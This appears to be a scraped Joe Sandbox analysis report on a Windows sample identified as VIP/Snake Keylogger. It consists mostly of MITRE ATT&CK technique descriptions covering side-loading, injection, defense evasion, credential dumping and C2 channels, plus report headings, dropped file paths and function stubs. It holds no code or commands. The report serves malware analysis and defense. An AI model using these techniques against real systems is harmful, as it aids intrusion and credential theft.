Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report W2k2NLSvja.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut1FE8.tmp

C:\Users\user\AppData\Local\Temp\aut2027.tmp

C:\Users\user\AppData\Local\Temp\quinquenniad

C:\Users\user\AppData\Local\Temp\teres

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
W2k2NLSvja.exe

Function 00F83B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 00F84AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00F84FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00FE93DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00F83015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00F83041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00F871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00F83A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00F83633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00F83778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Function 00F52630 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00F839E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 00F523B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 163
fileCOMMON

Function 00FA564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Function 00F869CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre